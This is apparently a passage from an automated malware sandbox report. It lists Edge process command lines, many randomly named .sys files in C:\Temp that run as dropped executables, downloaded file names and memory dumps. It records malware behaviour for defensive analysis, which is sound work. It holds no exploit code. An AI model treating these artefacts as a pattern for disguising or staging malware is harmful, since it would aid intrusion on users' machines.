C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6616,i,1776396769235039888,6360912649145592414,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=6768 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5144,i,10554336772008928270,8823737992450304829,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,2515203651921221869,11078737524492490873,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5140 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5132,i,14969914021161886923,11056219105769204508,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5676,i,12930434957785377330,6302037730047691683,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6244,i,13490420309482073410,2556803232475468233,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=924,i,203131217450171474,13299685703927722054,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=920,i,18247209944574028641,6587170861976557514,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=6780 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6612,i,8577083348811580203,8980187498329787994,262144 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=6180 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5748,i,959030528850140503,16415391248311613931,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5040 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\hfaxspnhfaxsqkhc.sysC:\Temp\hfaxspnhfaxsqkhc.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Temp\xsmkeczusm.sysC:\Temp\xsmkeczusm.sys1⤵
- Executes dropped EXE
-
C:\Temp\urmjhbzurp.sysC:\Temp\urmjhbzurp.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhbzwrojge.sysC:\Temp\jhbzwrojge.sys1⤵
- Executes dropped EXE
-
C:\Temp\mgeywrojhb.sysC:\Temp\mgeywrojhb.sys1⤵
- Executes dropped EXE
-
C:\Temp\qoigayvtol.sysC:\Temp\qoigayvtol.sys1⤵
- Executes dropped EXE
-
C:\Temp\qnifdxvqni.sysC:\Temp\qnifdxvqni.sys1⤵
- Executes dropped EXE
-
C:\Temp\fdxvpnkifa.sysC:\Temp\fdxvpnkifa.sys1⤵
- Executes dropped EXE
-
C:\Temp\mkfcxusnkf.sysC:\Temp\mkfcxusnkf.sys1⤵
- Executes dropped EXE
-
C:\Temp\caxrpkhfzx.sysC:\Temp\caxrpkhfzx.sys1⤵
- Executes dropped EXE
-
C:\Temp\cwuomhezxr.sysC:\Temp\cwuomhezxr.sys1⤵
- Executes dropped EXE
-
C:\Temp\ebwuomjhbz.sysC:\Temp\ebwuomjhbz.sys1⤵
-
C:\Temp\omgeywromg.sysC:\Temp\omgeywromg.sys1⤵
-
C:\Temp\eywtoljdby.sysC:\Temp\eywtoljdby.sys1⤵
-
C:\Temp\daysqoigay.sysC:\Temp\daysqoigay.sys1⤵
-
C:\Temp\cavsnlfdxv.sysC:\Temp\cavsnlfdxv.sys1⤵
-
C:\Temp\snkfdxvsnk.sysC:\Temp\snkfdxvsnk.sys1⤵
-
C:\Temp\usmkicaupm.sysC:\Temp\usmkicaupm.sys1⤵
-
C:\Temp\pnhfzxrpmh.sysC:\Temp\pnhfzxrpmh.sys1⤵
-
C:\Temp\wromjebztr.sysC:\Temp\wromjebztr.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
hfaxspnhfaxsqkhc.exe
hfaxspnhfaxsqkhc.sys
i_jheywqomjh.exe
i_nkfcxupnhf.exe
i_smkcxupnhf.exe
i_trljdbvtol.exe
i_uomgezwupj.exe
jhbzwrojge.sys
jheywqomjh.exe
mgeywrojhb.sys
nkfcxupnhf.exe
qoigayvtol.sys
smkcxupnhf.exe
trljdbvtol.exe
uomgezwupj.exe
urmjhbzurp.sys
xsmkeczusm.sys
settings.dat
settings.dat
322c3468-30af-4b31-95cc-561b9509f8a7.tmp
the-real-index
the-real-index~RFe5a3c10.TMP
SiteList-Enterprise.json
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Preferences
Preferences
Secure Preferences
d4e8b404-f9e5-436a-8751-1b08c8864366.tmp
Local State
Local State
Local State
Local State
Local State
metadata.json
metadata.json
metadata.json
299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
fa020f95-f1c2-437b-a837-dcc517e6375e.tmp
metadata.json~RFe5a1389.TMP
f0d24652-8dd4-496d-b813-c05e5fca0c7d.tmp
content_new.js
CreateProcess.exe
memory/568-563-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1248-66-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1356-509-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1492-649-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1492-421-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1652-543-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1736-617-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1964-693-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2100-544-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2100-538-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2556-637-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2996-548-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3572-584-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4288-661-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4312-699-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4312-718-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4652-597-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4952-716-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5012-672-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5012-696-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5896-469-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5944-497-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6060-721-0x0000000000010000-0x00000000000AB000-memory.dmp